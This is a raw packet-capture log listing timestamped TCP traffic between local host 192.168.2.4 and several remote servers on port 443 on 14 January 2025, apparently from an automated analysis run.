Jan 14, 2025 17:25:34.025377989 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.025384903 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.042897940 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.044264078 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.044518948 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.044724941 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.044811964 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.044866085 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.044873953 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.045052052 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.045106888 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.045372963 CET	51404	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.045384884 CET	443	51404	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.049025059 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.049190998 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.049498081 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.049506903 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.053776026 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.053831100 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.053838015 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.053932905 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.053987026 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.053992987 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.058561087 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.058624983 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.058634043 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.058717012 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.058769941 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.058775902 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.063225031 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.063277960 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.063283920 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.067939043 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.068001032 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.068006992 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.068095922 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.068150997 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.068156958 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.068259954 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.068612099 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.068619013 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.073491096 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.073499918 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.077586889 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.077668905 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.077676058 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.077756882 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.078011036 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.078017950 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.082197905 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.082248926 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.082256079 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.092526913 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.092545033 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.092571020 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.092571974 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.092582941 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.092619896 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.097347975 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.097359896 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.097421885 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.097429991 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.097491026 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.102046967 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.102049112 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.102112055 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.102118015 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.102148056 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.102155924 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.102164030 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.102535009 CET	51403	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.102543116 CET	443	51403	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.106725931 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.106749058 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.106770992 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.106806993 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.106817007 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.106843948 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.110752106 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.111490965 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.111515045 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.111543894 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.111552000 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.111593962 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.116228104 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.116585970 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.116739988 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.116754055 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.116787910 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.116861105 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.117116928 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.117119074 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.117125034 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.117130995 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.125773907 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.125835896 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.125852108 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.140149117 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.140177965 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.140196085 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.140229940 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.140233994 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.140243053 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.140252113 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.140259981 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.140280008 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.140296936 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.140503883 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.140557051 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.140732050 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.140733004 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.140739918 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.140855074 CET	51406	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.140858889 CET	443	51406	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.140883923 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.141541958 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.141554117 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.141966105 CET	51407	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.141978025 CET	443	51407	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.155335903 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.155358076 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.155461073 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.155632973 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.155642986 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.155874968 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.155889034 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.155947924 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.156083107 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.156105042 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.597851992 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.598129988 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.598136902 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.599091053 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.599164963 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.599447966 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.599513054 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.599570990 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.604343891 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.604541063 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.604547977 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.608093977 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.608195066 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.608522892 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.608664989 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.608699083 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.611321926 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.611504078 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.611521006 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.612514019 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.612575054 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.613554955 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.613616943 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.613687992 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.629857063 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.630112886 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.630122900 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.631122112 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.631187916 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.631470919 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.631558895 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.631571054 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.639130116 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.639136076 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.654403925 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.654403925 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.654416084 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.654422998 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.679326057 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.684740067 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.684740067 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.684747934 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.695403099 CET	443	51408	43.135.205.15	192.168.2.4
Jan 14, 2025 17:25:34.695614100 CET	51408	443	192.168.2.4	43.135.205.15
Jan 14, 2025 17:25:34.695624113 CET	443	51408	43.135.205.15	192.168.2.4
Jan 14, 2025 17:25:34.696103096 CET	443	51408	43.135.205.15	192.168.2.4
Jan 14, 2025 17:25:34.696177959 CET	51408	443	192.168.2.4	43.135.205.15
Jan 14, 2025 17:25:34.696706057 CET	443	51408	43.135.205.15	192.168.2.4
Jan 14, 2025 17:25:34.696767092 CET	51408	443	192.168.2.4	43.135.205.15
Jan 14, 2025 17:25:34.697719097 CET	51408	443	192.168.2.4	43.135.205.15
Jan 14, 2025 17:25:34.697797060 CET	443	51408	43.135.205.15	192.168.2.4
Jan 14, 2025 17:25:34.697854042 CET	51408	443	192.168.2.4	43.135.205.15
Jan 14, 2025 17:25:34.699888945 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.699992895 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.717669010 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.717844009 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.717933893 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.717998028 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.718008041 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.718086004 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.718136072 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.718144894 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.718188047 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.718195915 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.718307018 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.718353033 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.718360901 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.718524933 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.718573093 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.718581915 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.727452993 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.727535009 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.727544069 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.730423927 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.738153934 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.738198042 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.738217115 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.738240957 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.738287926 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.738297939 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.738342047 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.739325047 CET	443	51408	43.135.205.15	192.168.2.4
Jan 14, 2025 17:25:34.739347935 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.739413977 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.740048885 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.741307020 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.741498947 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.741580009 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.741589069 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.741658926 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.741756916 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.741818905 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.741827011 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.741862059 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.741867065 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.741976023 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.742089033 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.742135048 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.742141008 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.742180109 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.742341042 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.742499113 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.742584944 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.742635965 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.742641926 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.742685080 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.742763042 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.742815971 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.742824078 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.745824099 CET	51408	443	192.168.2.4	43.135.205.15
Jan 14, 2025 17:25:34.745830059 CET	443	51408	43.135.205.15	192.168.2.4
Jan 14, 2025 17:25:34.747401953 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.763485909 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.763565063 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.763608932 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.763639927 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.763673067 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.763678074 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.763698101 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.763698101 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.763940096 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.763984919 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.763992071 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.764029980 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.764041901 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.764060974 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.764101982 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.764107943 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.768279076 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.768328905 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.768335104 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.777800083 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.793098927 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.793098927 CET	51408	443	192.168.2.4	43.135.205.15
Jan 14, 2025 17:25:34.793117046 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.793148994 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.806135893 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.806169033 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.806184053 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.806230068 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.806252003 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.806269884 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.806276083 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.806298971 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.806298971 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.806313038 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.806345940 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.808036089 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.808105946 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.808106899 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.808131933 CET	443	51410	151.101.194.137	192.168.2.4
Jan 14, 2025 17:25:34.808166981 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.808181047 CET	51410	443	192.168.2.4	151.101.194.137
Jan 14, 2025 17:25:34.808432102 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.825179100 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.825207949 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.825229883 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.825285912 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.825294971 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.825321913 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.825321913 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.825375080 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.825570107 CET	51409	443	192.168.2.4	104.17.24.14
Jan 14, 2025 17:25:34.825581074 CET	443	51409	104.17.24.14	192.168.2.4
Jan 14, 2025 17:25:34.827405930 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.827591896 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.827693939 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.827698946 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.827725887 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.827872992 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.827924967 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.827934027 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.827977896 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.828373909 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.828536034 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.828618050 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.828669071 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.828675985 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.828713894 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.829123974 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.829277039 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.829343081 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.829349041 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.829848051 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.829933882 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.829993010 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.829999924 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.830054045 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.830060005 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.830502033 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.830593109 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.830648899 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.830665112 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.830705881 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.830710888 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.831983089 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.832024097 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.832030058 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.832040071 CET	443	51412	104.18.10.207	192.168.2.4
Jan 14, 2025 17:25:34.832118034 CET	51412	443	192.168.2.4	104.18.10.207
Jan 14, 2025 17:25:34.854067087 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.854314089 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.854371071 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.854392052 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.854419947 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.854434013 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.854444981 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.854969025 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.855058908 CET	443	51411	104.18.11.207	192.168.2.4
Jan 14, 2025 17:25:34.855118990 CET	51411	443	192.168.2.4	104.18.11.207
Jan 14, 2025 17:25:34.855124950 CET	443	51411	104.18.11.207	192.168.2.4
